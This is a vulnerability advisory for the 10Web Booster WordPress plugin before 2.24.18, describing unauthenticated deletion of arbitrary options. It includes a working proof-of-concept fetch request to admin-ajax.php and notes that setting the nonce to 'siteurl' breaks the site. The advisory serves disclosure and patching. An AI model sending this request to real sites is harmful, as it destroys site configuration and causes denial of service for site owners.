WordPress Plugin Vulnerabilities

10Web Booster < 2.24.18 - Unauthenticated Arbitrary Option Deletion

Description

The plugin does not validate the option name given to some AJAX actions, allowing unauthenticated users to delete arbitrary options from the database, leading to denial of service.

Proof of Concept

fetch("http://127.0.0.1:8001/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded; charset=UTF-8",
  },
  "body": 'action=two_activate_score_check&nonce=template',
  "method": "POST",
});

Changing the `nonce` parameter to, for example, `nonce=siteurl` will cause the site to no longer work.

Affects Plugins

Fixed in 2.24.18
